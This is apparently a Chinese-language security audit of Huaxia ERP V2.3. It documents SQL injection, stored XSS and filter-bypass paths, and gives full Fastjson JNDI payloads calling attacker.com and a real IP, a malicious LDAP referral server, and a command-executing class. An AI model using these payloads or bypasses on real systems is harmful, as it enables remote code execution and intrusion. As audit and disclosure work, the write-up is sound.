华夏ERP V2.3代码审计分析
华夏ERP V2.3安全审计:多处SQL注入、XSS与Fastjson反序列化漏洞分析
华夏erpV2.3
启动配置
JDK1.8
首先配置application.properties文件,连接数据库
测试用户:jsh,密码:123456
审计
准备
首先看pom.xml文件,看看用了哪些依赖,了解一下配置信息
1、使用了fastjson1.2.55,存在多个漏洞
- 反序列化(autoType功能在这个版本是默认开启的,能允许在json中指定类名进行反序列化)
- 黑名单绕过(黑名单认证机制存在缺陷,有多种方式绕过)
- JNDI注入导致RCE
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.55</version>
</dependency>payload:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}2、使用了log4j
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-to-slf4j</artifactId>
<version>2.10.0</version>
<scope>compile</scope>
</dependency>3、使用了MyBatis数据库
<dependency>
<groupId>com.baomidou</groupId>
<artifactId>mybatis-plus-boot-starter</artifactId>
<version>3.0.7.1</version>
</dependency>4、使用了swagger-ui
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger2</artifactId>
<version>2.7.0</version>
<scope>compile</scope>
</dependency>在pom.xml中,这种带黄色波浪线的,都是存在历史漏洞的

项目结构
java/
└── com/
└── jsh/
└── erp/
├── config/ # 配置类
├── constants/ # 常量定义
├── controller/ # 控制器层
├── datasource/ # 数据源配置
├── exception/ # 异常处理
├── filter/ # 过滤器
├── service/ # 服务层
├── utils/ # 工具类
└── ErpApplication # 主启动类多个sql注入
上面在pom.xml配置文件中已经看到了使用的是MyBatis数据库,这里可以全局搜索一下${
${ }表示使用拼接字符串,将接受到的参数内容不加任何修饰符拼接在SQL中
通常MyBatis数据库存在注入的情况如下:
%${ //因为模糊查询不能直接使用%#{}%,所以不会的开发可能会使用%${}%形式,这种就存在sql注入
in (${ //使用in (#{}这种形式会报错
order by ${ //order by也不能使用预编译要在xml文件中查找,因为MyBatis数据库的大部分sql语句都写在xml文件中
这里找一个像的进去看一下


可以看到参数是name,对应的dao层为selectByConditionDepot
dao层(Data Access Object)是数据访问层,是java程序中用于封装与数据库交互的组件层。
转到dao层

继续跟这个selectByConditionDepot方法

接着跟这个select方法,到功能层
可以看到这个name是来自search里面的,获取到的map类型也就是键值对,接着往下看这个search是哪来的,跟一下getDepotList方法
继续跟这个select方法

继续跟

跟到了功能层,这里可以看出来是通用的功能层代码,多处api都是调用这段代码,意味着这里存在多处sql注入。
它会根据不同的/{apiName}触发不同的功能点,但在于只要访问了/list就会触发这里。
这里可以Ctrl+点击list,查看一下有哪些路径,但是没法确定路由里的search参数中的键是name。只能bp开着代理,挨个地方点点点,寻找路由为/xxx/list并且search参数中存在name键的数据包,找到对应的功能点。

可以尝试一下多跟几处${,会发现最终都会跟到这一个功能层代码上来。
验证sql注入:
http://192.168.16.1:8080/index.html#/pages/manage/depot.html

在不进行sleep时执行时间是1秒多点
sleep(1)时为3秒多

sleep(5)时为11秒多

说明sleep执行了两次。具体可以在IDEA看一下日志中记录的sql语句。
以同样的方式再找一个,loginName或者userName

最后发现同样是跟到/{apiName}/list这个接口
在添加用户这里


这里的userName和loginName参数都能进行时间盲注进行注入(效果都是一样的)

这里由于分页page=12的原因,sleep(1)执行了12次,才导致12秒多的延迟
Execute SQL:SELECT user.id, user.username, user.login_name, user.position, user.email, user.phonenum, user.description, user.remark, user.isystem, org.id AS orgaId, user.tenant_id, org.org_abr, rel.user_blng_orga_dspl_seq, rel.id AS orgaUserRelId, (SELECT r.name FROM jsh_user_business ub INNER JOIN jsh_role r ON ub.value = concat("[", r.id, "]") AND ifnull(r.delete_flag, '0') != '1' WHERE ub.type = 'UserRole' AND ub.key_id = user.id LIMIT 0, 1) roleName FROM jsh_user user LEFT JOIN jsh_orga_user_rel rel ON rel.tenant_id = 63 AND user.id = rel.user_id AND ifnull(rel.delete_flag, '0') != '1' LEFT JOIN jsh_organization org ON org.tenant_id = 63 AND rel.orga_id = org.id AND ifnull(org.org_stcd, '0') != '5' WHERE user.tenant_id = 63 AND 1 = 1 AND ifnull(user.status, '0') NOT IN ('1', '2') AND user.login_name LIKE '%' AND SLEEP(1) ORDER BY rel.user_blng_orga_dspl_seq, user.id DESC LIMIT 0, 12多处xss
xss还是直接黑盒到处插来的快
第一处
采购订单的新增商品处一堆输入框,直接全插入




也是不出意外全弹了(这里就不放截图了),每次点击采购订单处都会挨个触发
第二处
销售管理的添加客户信息处,客户名称这里可以触发一次


第三处
还有仓库管理的添加供应商名称处也能触发一次xss

第四处
在财务管理的收支单处添加项目也能触发


反正有好多存储型xss,并且能在多个地方触发。
鉴权绕过(未授权)
已经看过了pom.xml,没有使用shiro或者jwt之类的鉴权技术。在项目结构中可以看到有filter层,只有一个文件

第一处
在开头的这里定义了一个LogCostFilter过滤器,拦截所有网站路径(/*)。有两个初始化参数:
- ignoreUrl:将忽略
.css#.js#.jpg#.png#.gif#.ico这些文件类型的请求 - filterPath:指定需要特别处理的路径
/user/login#/user/registerUser#/v2/api-docs
这里应该是把#当作分割符了
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
@WebInitParam(name = "filterPath",
value = "/user/login#/user/registerUser#/v2/api-docs")})
1、使用/user/login/../../绕过鉴权
这里可以看到这里使用了startsWith()函数来判断url是否以allowUrls中的内容开头,如果是的话则放行。
allowUrls可以在上面的定义中看到就是filterPath中的路径

因此可以使用以filterPath中的任意路径开头+目录穿越的方式进绕过鉴权

2、使用;.gif绕过鉴权
这里使用一个自定义的verify()函数来判断请求的url是否可以放行

跟着看一下verify()函数,由于这里的正则表达式过于宽泛,只要url任何位置包含ignoreList中的内容就可以匹配成功,绕过进入过滤器。
例如:
^.*\.css.*$,只要url任意位置包含.css即可匹配成功

利用路径参数(;)+url中包含任意ignoreList中内容的方式进行绕过鉴权
;用于添加路径参数,如:/path?param1=v1;param2=v2附属于路径中的某一段。这里的分号相当于是截断作用

其实这种也可以使用/.gif/../account/getAcount的方式进行绕过

第二处
如果请求的url非空并且url中包含doc.html、register.html、login.html中的任意一个即可放行
(requestUrl.contains("/doc.html") ||requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))
依旧可以使用上面那种目录穿越的方式进行绕过鉴权

fastjson反序列化
在pom.xml中可以看到有fastjson的依赖,版本为1.2.55。
可以全局搜索一下parseObject(、JSON.parseObject(、JSONObject.parse(、JSONObject.parseObject(
JSON.parse() JSON.parseObject() JSONObject.parse() JSONObject.parseObject()
跟进一下getInfo()方法,看看哪里调用了 ,发现很多处调用,应该是个通用方法

随意跟进一个,可以看到这个方法又是从select来的

和上面sql注入的跟进方法一样,跟了几次又跟到了这里。

那继续用之前那个功能点


尝试一下dnslog(注意需要url编码)
search={"@type":"java.net.Inet4Address","val":"ek27ajcim8u3pd3dmjusxigi79d01rpg.oastify.com"}
burp自带的dnslog也成功收到请求

可以看到这里明确开启了autoType:static { defaultRedisConfig.setAutoTypeSupport(true);}

尝试一下rce
攻击者服务端代码(LDAPServer.java):
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://82.157.235.117:6666/#Executor";
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}要执行的payload(Executor.java):然后用javac编译成.class文件
public class Executor {
public Executor() throws IOException{
Runtime.getRuntime().exec("calc");
}
}执行顺序还是先python起一个http服务
python -m http.server 6666然后运行LDAPServer.java,接着运行LDAPTest.java即可
攻击代码:
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://82.157.235.117:7777/Exploit",
"autoCommit": true
}
AutoType为 false 时 :先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
AutoType为 true 时 :先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
这里上面的方法不太行,其他绕过方法参数:https://github.com/safe6Sec/Fastjson
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://82.157.235.117:7777/Exploit","Object":"a"}
本文对华夏ERP V2.3进行安全审计,发现存在SQL注入、XSS、未授权访问及Fastjson反序列化等高危漏洞。
由 AI 根据全文自动生成,仅供参考,以原文为准